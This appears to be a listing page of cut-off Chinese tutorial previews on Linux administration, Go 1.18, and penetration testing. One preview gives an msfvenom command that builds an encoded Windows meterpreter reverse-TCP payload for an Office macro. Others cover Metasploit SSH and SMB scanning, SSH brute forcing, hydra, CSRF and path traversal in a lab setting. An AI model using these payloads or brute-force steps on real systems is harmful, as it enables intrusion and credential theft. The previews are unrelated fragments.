实战:使用DHCP为局域网中的机器分配IP地址 首先为了避免和当前网络环境中DHCP冲突，我们使用虚拟机自定义的网络模式：  使用VMnet2即可 安装DHCP 1.使用yum进行安装。 [root@xuegod63 ~]# yum -y install dhcp #使用yum安装DHCP。  2.配置文件位置： 主配置文件： [root@xuegod63 ~]# vim /etc/dhcp/dhcpd.conf # # DHCP Server Configuration file. # see /usr/share/doc/dhcp*/dhcpd.conf.example # see dhc...

安装PXC集群软件包 PXC实验环境说明 系统使用CentOS7.6以上，关闭***，关闭selinux，配好ip，配好网络yum源 环境说明如下 Node Host IP Addr Descprition Node1 xuegod63.cn 192.168.1.63/24 集群节点1 Node2 xuegod64.cn 192.168.1.64/24 集群节点2 Node3 xuegod62.cn 192.168.1.62/24 集群节点3  说明 Percona XtrDB Cluster 属于 Multi-master Replication（多主复制）。  多主复制意味着支持对任意节点...

首先将office 2016.zip上传到win7虚拟机上，解压后，安装一下office。  ┌──(root💀xuegod53)-[~] └─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f vba-exe  视频教程 执行完成后会生成2段代码 第一段代码是MACRO CODE [ˈmækrəʊ kəʊd] 宏代码 从这里开始：  到这里结束：  第二段代码 payload。 ...

基于SSH协议收集信息 查看ssh服务的版本信息 msf6 > use auxiliary/scanner/ssh/ssh_version msf6 auxiliary(scanner/ssh/ssh_version) > show options msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.180 msf6 auxiliary(scanner/ssh/ssh_version) > run   对SSH暴力破解 msf6 > use auxiliary/scanner/ssh/ssh...

SMB概述：服务器消息块（Server Message Block，缩写为SMB），又称网络文件共享系统（Common Internet File System，缩写为CIFS），一种应用层网络传输协议，由微软开发，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。 经过Unix服务器厂商重新开发后，它可以用于连接Unix服务器和Windows客户机，执行打印和文件共享等任务。  使用smb_version 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version  设置扫描目标，注意多个目标使用逗号+空格...

简介  grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹配的行打印出来。   Unix的grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展，支持更多的re元字符，fgrep就是fixed grep或fastgrep，它们把所有的字母都看作单词，也就是说，正则表达式中的元字符表示回其自身的字面意义，不再特殊。linux使用GNU版本的grep。...

我以下图为基础，说明Linux的架构(architecture)。  最内层是硬件，最外层是用户常用的应用，比如说firefox浏览器，evolution查看邮件，一个计算流体模型等等。硬件是物质基础，而应用提供服务。但在两者之间，还要经过一番周折。 还记得Linux启动。Linux首先启动内核 (kernel)，内核是一段计算机程序，这个程序直接管理管理硬件，包括CPU、内存空间、硬盘接口、网络接口等等。所有的计算机操作都要通过内核传递给硬件。 为了方便调用内核，Linux将内核的功能接口制作成系统调用(system call)。系统调用看起来就像C语言的函数。你可以在程序中直接调用。Lin...

大前天，Golang开发团队正式发Golang 1.18，可以通过官方下载页面下载，下载后注意核对校验码。  Golang 1.18 是一个功能上变化较大的大型版本，在语言层面增加了泛型、增加了Fuzzing、工作区以及性能上的改进。之前我们已经文章中虫虫给大家已经详细介绍过，在此，略要地介绍一下。 泛型 Golang 1.18 中，新引入了新的支持使用参数化类型的泛型。支持泛型一直是Golang社区最迫切的功能需求之一，今天终于算是圆梦了，Golang正式跨入泛型语言家族。 func Reverse (type Element) (s []Element) { first := 0 last...

CSRF是什么？  CSRF（Cross Site Request Forgery），中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。  举个例子 简单版： 假如博客园有个加关注的GET接口，blogUserGuid参数很明显是关注人Id，如下： http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315  那我只需...

对于web应用的渗透测试，大致可分为三个阶段：信息收集、漏洞发现以及漏洞利用。在实践过程中需要进一步明细测试的流程，以下通过9个阶段来描述渗透测试的整个流程：  1.明确目标 1）确定范围：测试的范围，如：IP、域名、内外网、整站or部分模块 2）确定规则：能渗透到什么程度（发现漏洞为止or继续利用漏洞）、时间限制、能否修改上传、能否提权...  目标系统介绍、重点保护对象及特性。 是否允许数据破坏？ 是否允许阻断业务正常运行？ 测试之前是否应当知会相关部门接口人？ 接入方式？外网和内网？ 测试是发现问题就算成功，还是尽可能的发现多的问题？ 渗透过程是否需要考虑社会工程？  3）确定需求：we...

许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名 形如：http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。 初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“../”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应...

前言  hydra是著名黑客组织thc的一款开源的暴力破解密码工具，功能非常强大，kali下是默认安装的，几乎支持所有协议的在线破解。密码能否破解，在于字典是否强大。本文仅从安全角度去讲解工具的使用，请勿用于非法用途。  hydra参数讲解 -R #继续从上一次进度接着破解。 -S #采用SSL链接。 -s #PORT 可通过这个参数指定非默认端口。 -l #LOGIN 指定破解的用户，对特定用户破解。 -L #FILE 指定用户名字典。 -p #PASS 小写，指定密码破解，少用，一般是采用密码字典。 -P #FILE 大写，指定密码字典。 -e #ns 可选选项，n：空密码试探，s：使用指...

命令：curl 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具，可以说是一款很强大的http命令行工具。它支持文件的上传和下载，是综合传输工具，但按传统，习惯称url为下载工具。 语法：# curl [option] [url]  常见参数： -A/--user-agent <string> 设置用户代理发送给服务器 -b/--cookie <name=string/file> cookie字符串或文件读取位置 -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中 -C/--continue-at &...

信息收集 靶机的IP地址为：192.168.173.136 利用nmap工具扫描其开放端口、系统等 整理一下目标系统的相关信息 系统版本：Windows server 2003 开放的端口及服务： 21/tcp ftp 135/tcp msrpc 139/tcp netbios-ssn 445/tcp microsoft-ds 777/tcp multiling-http 1025/tcp NFS-or-IIS 1026/tcp LSA-or-nterm 1029/tcp ms-lsa 1030/tcp iad1 6002/tcp X11:2 7001/tcp afs3-callback 70...